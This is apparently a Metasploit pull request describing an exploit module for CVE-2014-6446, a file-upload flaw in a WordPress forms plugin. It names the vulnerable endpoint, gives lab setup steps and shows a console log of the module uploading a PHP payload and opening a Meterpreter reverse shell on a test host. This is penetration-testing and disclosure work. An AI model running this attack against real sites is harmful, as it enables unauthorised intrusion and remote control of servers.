rapid7/metasploit-framework — pull request #3949 by us3r777 (2014-10-06 12:25:07+00:00)
Title: Wordpress Infusionsoft Gravity Forms CVE-2014-6446

# Description
The Infusionsoft Gravity Forms plugin 1.5.3 through 1.5.10 for
WordPress does not properly restrict access, which allows remote
attackers to upload arbitrary files and execute arbitrary PHP
code via a request to utilities/code_generator.php.

# Links
http://research.g0blin.co.uk/cve-2014-6446/
http://www.cvedetails.com/cve/CVE-2014-6446/

# Reproduction steps
- [ ] Install a LAMP server
- [ ] Install Wordpress
- [ ] Install the Infusion Gravity Forms plugin ( https://wordpress.org/plugins/infusionsoft/ )

# Test
Tested on Infusionsoft Gravity Forms Version 1.5.9:
```
2014-10-06 14:16:15 +0200 S:0 J:0 > use exploit/unix/webapp/php_wordpress_infusionsoft
2014-10-06 14:16:20 +0200 S:0 J:0 exploit(php_wordpress_infusionsoft) > set RHOST 192.168.56.101
RHOST => 192.168.56.101
2014-10-06 14:16:24 +0200 S:0 J:0 exploit(php_wordpress_infusionsoft) > set TARGETURI /wordpress/
TARGETURI => /wordpress/
2014-10-06 14:16:27 +0200 S:0 J:0 exploit(php_wordpress_infusionsoft) > run

[*] Started reverse handler on 192.168.56.1:4444
[+] 192.168.56.101:80 - Our payload is at: gJsEuZVlMWDq.php. Calling payload...
[*] 192.168.56.101:80 - Calling payload ...
[*] Sending stage (40551 bytes) to 192.168.56.101
[*] Meterpreter session 2 opened (192.168.56.1:4444 -> 192.168.56.101:55100) at 2014-10-06 14:16:31 +0200
[+] Deleted gJsEuZVlMWDq.php

meterpreter > sysinfo
Computer : debian
OS : Linux debian 3.2.0-4-686-pae #1 SMP Debian 3.2.54-2 i686
Meterpreter : php/php
```